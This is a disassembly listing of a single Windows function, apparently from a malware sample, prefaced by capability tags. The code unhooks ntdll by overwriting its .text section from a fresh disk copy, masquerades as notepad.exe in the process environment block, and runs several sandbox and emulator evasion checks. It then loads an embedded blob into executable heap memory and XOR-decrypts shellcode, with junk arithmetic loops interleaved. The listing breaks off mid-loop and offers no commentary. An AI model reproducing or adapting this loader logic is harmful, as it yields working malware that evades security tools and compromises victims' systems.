Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x908
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x870], xmm6
mov dword [rbp + 0x8b0], ecx
mov qword [rbp + 0x8b8], rdx
call fcn.140002d60
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7f0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e8], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x868], rax
cmp qword [rbp + 0x868], 0
jne 0x140001579
mov qword [rbp + 0x858], 0
mov dword [rbp + 0x7dc], 0x1a7
mov dword [rbp + 0x864], 1
jmp 0x14000153b
mov eax, dword [rbp + 0x864]
cdqe
add qword [rbp + 0x858], rax
add dword [rbp + 0x864], 1
mov eax, dword [rbp + 0x864]
cmp eax, dword [rbp + 0x7dc]
jle 0x140001525
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x868], rax
cmp qword [rbp + 0x868], 0
je 0x1400019a9
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x610]
mov rax, qword [rbp + 0x7e0]
mov r10, qword [rbp + 0x868]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov dword [rbp + 0x854], 0xffffffff
mov ecx, 0x380
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7d0], rax
add dword [rbp + 0x854], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006618]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7d0]
add rax, rdx
movsd xmm1, qword [0x140006620]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7d0]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7d0]
add rax, rdx
movq xmm1, qword [0x140006630]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x854], 0x6e
jle 0x1400015d2
mov rax, qword [rbp + 0x610]
mov qword [rbp + 0x7c8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7b8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rdx
mov qword [rbp + 0x7a0], rax
mov word [rbp + 0x852], 0
jmp 0x140001991
mov rax, qword [rbp + 0x7a0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7a0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x852]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001980
mov dword [rbp + 0x5d8], 0
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5d8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7b0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov dword [rbp + 0x84c], 0xffffffff
mov ecx, 0xf10
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x790], rax
add dword [rbp + 0x84c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x84c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x790]
add rax, rdx
movsd xmm1, qword [0x140006618]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x84c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x790]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x84c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x790]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003eb0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x84c], 0x1e0
jle 0x140001872
mov edx, dword [rbp + 0x5d8]
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5d8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x852]
add eax, 1
mov word [rbp + 0x852], ax
mov rax, qword [rbp + 0x7a0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x852], ax
jb 0x140001771
pxor xmm0, xmm0
movss dword [rbp + 0x844], xmm0
mov dword [rbp + 0x848], 0
jmp 0x140001a3a
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x848]
movsd xmm0, qword [0x140006620]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x140006640]
movd xmm0, eax
call fcn.140003d50
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x848]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006620]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x844]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x844], xmm0
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x3c9
jle 0x1400019c1
movss xmm1, dword [rbp + 0x844]
movss xmm0, dword [0x140006644]
mulss xmm0, xmm1
movss dword [rbp + 0x844], xmm0
mov dword [rbp + 0x840], 0
mov dword [rbp + 0x83c], 0
mov ecx, 0x6b4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x788], rax
mov dword [rbp + 0x838], 0
jmp 0x140001b05
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x838]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x788]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x838]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x788]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x840], eax
add dword [rbp + 0x838], 1
cmp dword [rbp + 0x838], 0x1ac
jle 0x140001a97
mov dword [rbp + 0x838], 0
jmp 0x140001b8d
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x83c]
mov eax, dword [rbp + 0x838]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x788]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x62c]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x140006648]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003f80
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x83c], eax
add dword [rbp + 0x838], 1
cmp dword [rbp + 0x838], 0x1ac
jle 0x140001b1d
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x83c]
movss xmm1, dword [0x140006650]
divss xmm0, xmm1
movss dword [rbp + 0x784], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x784]
movq rax, xmm4
movq xmm0, rax
call fcn.140003d70
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x780], xmm0
mov rax, qword [rbp + 0x788]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5dc], 0
mov rax, qword [rbp + 0x7f0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x778], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5e0]
lea rax, [rbp + 0x5dc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x778]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5e8]
add rax, 0x3c
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x770]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x76c], 0x3ae
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x760], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
call rax
mov dword [rbp + 0x754], eax
mov eax, dword [rbp + 0x76c]
mov r8, qword [rbp + 0x760]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x758]
call rax
mov dword [rbp + 0x750], eax
mov eax, dword [rbp + 0x750]
sub eax, dword [rbp + 0x754]
cmp eax, 0x37c
jbe 0x140002c95
mov ecx, 0x54b
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x54b
jne 0x140002c95
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0x498
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x498
jne 0x140002c95
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x748], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x740], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x740]
mov r9d, 0x3000
mov r8d, 0x268
mov edx, 0
call rax
mov qword [rbp + 0x748], rax
cmp qword [rbp + 0x748], 0
je 0x140002c95
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov ecx, 0
call rax
mov dword [rbp + 0x734], eax
cmp dword [rbp + 0x734], 0xffffffff
je 0x140002c95
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
mov ecx, 0
call rax
mov dword [rbp + 0x724], eax
cmp dword [rbp + 0x724], 0xffffffff
je 0x140002c95
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x718], rax
cmp qword [rbp + 0x718], 0
je 0x140002c95
mov rax, qword [rbp + 0x718]
mov edx, 0x61e
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x714], eax
mov dword [rbp + 0x710], 0x3c5
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
call rax
mov dword [rbp + 0x6fc], eax
mov eax, dword [rbp + 0x710]
mov r8, qword [rbp + 0x708]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x700]
call rax
mov dword [rbp + 0x6f8], eax
mov eax, dword [rbp + 0x6f8]
sub eax, dword [rbp + 0x6fc]
cmp eax, 0x393
jbe 0x140002c95
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6e8], rax
cmp qword [rbp + 0x6e8], 0
jne 0x140002c95
mov dword [rbp + 0x6e4], 0x2ee
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
call rax
mov dword [rbp + 0x6cc], eax
mov eax, dword [rbp + 0x6e4]
mov r8, qword [rbp + 0x6d8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6d0]
call rax
mov dword [rbp + 0x6c8], eax
mov eax, dword [rbp + 0x6c8]
sub eax, dword [rbp + 0x6cc]
cmp eax, 0x2bc
jbe 0x140002c95
lea rax, [rbp + 0xe0]
lea rdx, [0x140006128]
mov ecx, 0x9d
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x7e8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6c0]
mov r8d, 0
mov edx, 0x4ec
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b0]
mov r9, qword [rbp + 0x6b8]
mov r8d, 0x4ec
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x7f0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
lea rdx, [rbp + 0xe0]
mov rax, qword [rbp + 0x6a8]
mov r9, qword [rbp + 0x6a0]
mov r8d, 0x4ec
mov rcx, rax
call r9
mov dword [rbp + 0x830], 0
mov dword [rbp + 0x82c], 0
mov ecx, 0x1f48
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov ecx, 0x1f48
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x690], rax
mov ecx, 0x1f48
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
mov dword [rbp + 0x828], 0
jmp 0x14000232f
mov dword [rbp + 0x824], 0
jmp 0x14000231b
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 7
cdq
sub ecx, edx
imul edx, ecx, 0x7d0
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x828]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x698]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x824]
cdqe
movss dword [rdx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 7
cdq
sub ecx, edx
imul edx, ecx, 0x7d0
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x828]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x690]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x824]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x19
jle 0x14000224c
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x4c
jle 0x14000223d
mov dword [rbp + 0x828], 0
jmp 0x14000241e
mov dword [rbp + 0x824], 0
jmp 0x14000240a
mov eax, dword [rbp + 0x828]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x698]
add rdx, rax
mov eax, dword [rbp + 0x824]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x828]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x690]
add rdx, rax
mov eax, dword [rbp + 0x824]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x828]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x688]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x824]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x19
jle 0x14000235a
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x4c
jle 0x14000234b
mov rax, qword [rbp + 0x698]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x690]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x688]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0xaaf991469b13d3e
movabs rdx, 0x1a27523abcfee818
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xcd162afb59432335
movabs rdx, 0xbf4a80d5446bd09e
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x3f11aa88f15a05c0
movabs rdx, 0x2a2a8f06f9552d1f
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x1c850690877428a9
movabs rdx, 0x690b86ac27314a87
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x2e50d4fc8708eb84
movabs rdx, 0xbdcb2366636ebd0b
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xa804c68c05bdcb
mov qword [rbp + 0xce], rax
movabs rax, 0x4fc96b2cb630eb53
movabs rdx, 0x82962e3ff89bc820
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x8109b451cda05cac
movabs rdx, 0x7db8084faa9c8cc5
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x1921a5b6434ba171
movabs rdx, 0x4e7395dea1f41169
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x10ea9a1841be01ac
movabs rdx, 0xc3174b9f63f81868
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0xbdbbd5a6cfa96029
movabs rdx, 0x7b43da1298a66f0a
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov byte [rbp + 0x10], 0
mov dword [rbp + 0x834], 0
jmp 0x140002933
mov dword [rbp + 0x818], 0
mov dword [rbp + 0x650], 0x39c
mov dword [rbp + 0x64c], 0x1ce
mov eax, dword [rbp + 0x650]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x640], rax
mov dword [rbp + 0x820], 0
jmp 0x140002623
mov eax, dword [rbp + 0x820]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rdx, rax
mov eax, dword [rbp + 0x820]
mov dword [rdx], eax
add dword [rbp + 0x820], 1
mov eax, dword [rbp + 0x820]
cmp eax, dword [rbp + 0x64c]
jl 0x1400025fa
mov dword [rbp + 0x820], 1
jmp 0x1400026b5
mov eax, dword [rbp + 0x820]
mov dword [rbp + 0x81c], eax
jmp 0x14000268c
mov edx, dword [rbp + 0x820]
mov eax, dword [rbp + 0x81c]
add edx, eax
mov eax, dword [rbp + 0x820]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x81c]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x81c], 1
mov eax, dword [rbp + 0x64c]
sub eax, dword [rbp + 0x820]
mov edx, dword [rbp + 0x820]
add edx, edx
lea esi, [rdx + 1]
cdq
idiv esi
cmp dword [rbp + 0x81c], eax
jle 0x14000264b
add dword [rbp + 0x820], 1
mov eax, dword [rbp + 0x820]
cmp eax, dword [rbp + 0x64c]
jl 0x14000263d
cmp dword [rbp + 0x650], 2
jle 0x1400026f9
mov eax, dword [rbp + 0x818]
lea edx, [rax + 1]
mov dword [rbp + 0x818], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x820], 1
jmp 0x14000275d
mov eax, dword [rbp + 0x820]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140002756
mov eax, dword [rbp + 0x820]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x818]
lea edx, [rax + 1]
mov dword [rbp + 0x818], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x820], 1
mov eax, dword [rbp + 0x820]
cmp eax, dword [rbp + 0x64c]
jl 0x140002705
mov dword [rbp + 0x63c], 2
mov dword [rbp + 0x814], 0
mov dword [rbp + 0x820], 0
jmp 0x1400027b9
mov eax, dword [rbp + 0x820]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400027b2
add dword [rbp + 0x814], 1
add dword [rbp + 0x820], 1
mov eax, dword [rbp + 0x820]
cmp eax, dword [rbp + 0x63c]
jl 0x14000278b
mov rax, qword [rbp + 0x640]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x830], 0x4f
jne 0x140002819
mov eax, dword [rbp + 0x834]
cdqe
movzx edx, byte [rbp + rax + 0x80]
mov eax, dword [rbp + 0x830]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x834]
cdqe
mov byte [rbp + rax + 0x20], dl
mov dword [rbp + 0x830], 0
jmp 0x14000292c
mov eax, dword [rbp + 0x834]
cdqe
movzx edx, byte [rbp + rax + 0x80]
mov eax, dword [rbp + 0x830]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x834]
cdqe
mov byte [rbp + rax + 0x20], dl
add dword [rbp + 0x830], 1
mov ecx, 0x1260
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x630], rax
mov dword [rbp + 0x810], 0
jmp 0x1400028b6
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006618]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x810]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x630]
add rax, rdx
movsd xmm1, qword [0x140006620]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x24b
jle 0x140002868
mov dword [rbp + 0x810], 0
jmp 0x140002920
mov eax, dword [rbp + 0x810]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x630]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x810]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x630]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x24b
jle 0x1400028ce
add dword [rbp + 0x834], 1
mov eax, dword [rbp + 0x834]
cmp eax, 0x54
jbe 0x1400025b2
mov dword [rbp + 0x834], 0
jmp 0x140002acc
cmp dword [rbp + 0x82c], 0x54
jne 0x1400029a7
mov eax, dword [rbp + 0x834]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a8]
add rax, rdx
